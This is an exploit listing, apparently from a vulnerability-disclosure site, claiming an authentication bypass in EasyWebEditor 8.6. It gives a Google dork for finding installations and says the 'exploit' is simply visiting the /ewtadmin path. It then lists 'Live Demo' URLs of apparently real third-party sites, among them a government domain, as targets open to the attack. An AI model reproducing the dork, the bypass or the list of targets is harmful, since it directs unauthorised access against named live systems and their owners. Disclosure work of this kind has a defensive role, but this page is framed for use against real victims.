EasyWebEditor 8.6 Authentication Bypass

2017.06.16
ir Sh4dow (IR) ir
Risk: Medium
Local: No
Remote: Yes
CVE: N/A
CWE: N/A
Dork: inurl:ewt_news.php?nid=

# Exploit Title: EasyWebEditor 8.6 - Authentication Bypass # Google Dork: inurl:ewt_news.php?nid= # Date: 2017-06-16 # Exploit Author: Mersad Security Research # Software Link: - # Version: All Version # Tested on: Kali Liunx -------------------------------------- Exploit:/ewtadmin http://127.0.0.1/ewtadmin ------------------------------------- Live Demo: http://203.150.225.0/ewtadmin/ http://www.ilovethaiculture.com/ewtadmin/ http://www.dmr.go.th/ewtadmin/ ------------------------------------- # Discovered By: Sh4dow (BlackPentester@Gmail.Com) # We Are:Mersad (Mersad - Gray Industry) # https://telegram.me/MersadGroup # Mersad@Protonmail.Com


See this note in RAW Version
Vote for this issue:
50%
50%


 

Thanks for you vote!


 

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.


(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}
Copyright 2024, cxsecurity.com

 

Back to Top